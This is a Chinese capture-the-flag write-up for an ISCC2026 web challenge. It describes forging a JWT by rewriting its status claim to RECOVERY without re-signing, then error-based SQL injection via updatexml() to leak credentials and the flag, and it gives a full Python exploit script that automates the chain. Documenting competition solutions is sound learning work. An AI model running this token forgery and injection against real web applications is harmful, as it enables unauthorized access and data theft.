WEB-账号恢复大冒险
ISCC2026 WriteUp 提交模板
WEB-账号恢复大冒险
解题思路
1.JWT解码
登录之后发现会给一段JWT

解码后是
{
"uid": 70122,
"username": "MOYING",
"status": "NORMAL",
"exp": 1779114635
}
题目提示是恢复,访问下/recovery

发现字节给重定位了,所以尝试把status=RECOVERY
修改后继续访问:

继续访问
/api/v1/user/sync
构造
{"theme":"' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1","language":"zh"}
报错
{"error":"SQL Error | \u4e34\u65f6\u8d26\u53f7: temp_1_188efeeb \u5bc6\u7801: 2d9a5484b9e420f769a1eec6010cd2ba","success":false}
其实就是,泄露出了账号和密码 , 并确认有注入漏洞。

leaked: ISCC{jwt_downgrade_successful_pwn!}
Exp
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import base64
import json
import re
import secrets
import time
from dataclasses import dataclass
from typing import Any
import requests
XPATH_ECHO_RULES = (
re.compile(r"XPATH syntax error: '~(.*?)~'"),
re.compile(r"XPATH syntax error: '(.*?)'"),
)
def squash(blob: bytes) -> str:
return base64.urlsafe_b64encode(blob).rstrip(b"=").decode()
def squash_json(mapping: dict[str, Any]) -> str:
raw = json.dumps(mapping, separators=(",", ":")).encode()
return squash(raw)
def expand_json(fragment: str) -> dict[str, Any]:
padded = fragment + "=" * ((4 - len(fragment) % 4) % 4)
return json.loads(base64.urlsafe_b64decode(padded))
def make_handle(stem: str = "u") -> str:
alphabet = "0123456789abcdef"
return stem + "".join(secrets.choice(alphabet) for _ in range(8))
@dataclass(slots=True)
class LaunchSpec:
endpoint: str
handle: str | None
secret_key: str
query: str
window: int = 28
timeout_sec: int = 10
attempt_cap: int = 5
sleep_step: float = 1.0
class RecoveryRunner:
def __init__(self, spec: LaunchSpec) -> None:
self.spec = spec
self.root = spec.endpoint.rstrip("/")
self.front = requests.Session()
self.shadow = requests.Session()
def _exchange(
self,
jar: requests.Session,
verb: str,
route: str,
**envelope: Any,
) -> requests.Response:
address = f"{self.root}{route}"
last_fault: Exception | None = None
for round_no in range(1, self.spec.attempt_cap + 1):
try:
return jar.request(verb, address, **envelope)
except requests.RequestException as boom:
last_fault = boom
if round_no == self.spec.attempt_cap:
break
time.sleep(self.spec.sleep_step * round_no)
raise RuntimeError(
f"request failed after {self.spec.attempt_cap} tries: "
f"{verb} {address} -> {last_fault}"
)
def _create_identity(self, handle: str) -> None:
reply = self._exchange(
self.front,
"POST",
"/register",
data={"username": handle, "password": self.spec.secret_key},
timeout=self.spec.timeout_sec,
allow_redirects=False,
)
if reply.status_code not in (200, 302):
raise RuntimeError(f"register failed: {reply.status_code} {reply.text[:200]}")
def _open_session(self, handle: str) -> str:
reply = self._exchange(
self.front,
"POST",
"/login",
data={"username": handle, "password": self.spec.secret_key},
timeout=self.spec.timeout_sec,
allow_redirects=False,
)
compact = self.front.cookies.get("token")
if reply.status_code not in (200, 302) or not compact:
raise RuntimeError(f"login failed: {reply.status_code} {reply.text[:200]}")
return compact
@staticmethod
def _flip_claims(compact: str) -> str:
head, body, tail = compact.split(".")
claims = expand_json(body)
claims["status"] = "RECOVERY"
claims["exp"] = int(time.time()) + 3600
return f"{head}.{squash_json(claims)}.{tail}"
def _sync_theme(self, jar: requests.Session, theme_value: str) -> requests.Response:
return self._exchange(
jar,
"POST",
"/api/v1/user/sync",
json={"theme": theme_value, "language": "zh"},
timeout=self.spec.timeout_sec,
allow_redirects=False,
)
@staticmethod
def _make_xpath_probe(query: str, start_at: int, width: int) -> str:
return (
"A' OR updatexml(1,concat(0x7e,substring(("
f"{query}"
f"),{start_at},{width}),0x7e),1)-- "
)
@staticmethod
def _pick_echo(page: str) -> str | None:
for rule in XPATH_ECHO_RULES:
hit = rule.search(page)
if hit:
return hit.group(1)
return None
def _quote_ping(self) -> str:
return self._sync_theme(self.shadow, "'").text
def harvest(self) -> str:
collected: list[str] = []
cursor = 1
while cursor < 512:
theme_value = self._make_xpath_probe(
self.spec.query,
cursor,
self.spec.window,
)
page = self._sync_theme(self.shadow, theme_value).text
piece = self._pick_echo(page)
if piece is None:
raise RuntimeError(f"unexpected response at pos {cursor}: {page[:300]}")
if piece == "":
break
collected.append(piece)
if len(piece) < self.spec.window:
break
cursor += self.spec.window
return "".join(collected)
def run(self) -> None:
handle = self.spec.handle or make_handle()
if self.spec.handle is None:
self._create_identity(handle)
print(f"[+] registered: {handle}:{self.spec.secret_key}")
compact = self._open_session(handle)
print(f"[+] login ok, token payload: {expand_json(compact.split('.')[1])}")
rescue_ticket = self._flip_claims(compact)
self.shadow.cookies.set("token", rescue_ticket)
print("[+] forged recovery token by rewriting JWT status -> RECOVERY")
print(f"[+] recovery-mode quote probe: {self._quote_ping()}")
leaked = self.harvest()
print(f"[+] leaked: {leaked}")
def build_spec() -> LaunchSpec:
cli = argparse.ArgumentParser(description="CloudSync recovery-chain exploit")
cli.add_argument("endpoint", help="target base url, e.g. http://39.105.213.28:5001")
cli.add_argument("--handle", help="existing username; omit to auto-create one")
cli.add_argument("--secret-key", default="P@ssw0rd123", help="password for login/register")
cli.add_argument(
"--query",
default="SELECT flag FROM flags LIMIT 0,1",
help="SQL expression to extract through updatexml()",
)
cli.add_argument("--window", type=int, default=28, help="substring width per request")
cli.add_argument("--timeout-sec", type=int, default=10, help="request timeout in seconds")
cli.add_argument("--attempt-cap", type=int, default=5, help="maximum retry count")
cli.add_argument("--sleep-step", type=float, default=1.0, help="retry backoff multiplier")
opts = cli.parse_args()
return LaunchSpec(
endpoint=opts.endpoint,
handle=opts.handle,
secret_key=opts.secret_key,
query=opts.query,
window=opts.window,
timeout_sec=opts.timeout_sec,
attempt_cap=opts.attempt_cap,
sleep_step=opts.sleep_step,
)
def main() -> None:
RecoveryRunner(build_spec()).run()
if __name__ == "__main__":
main()

浙公网安备 33010602011771号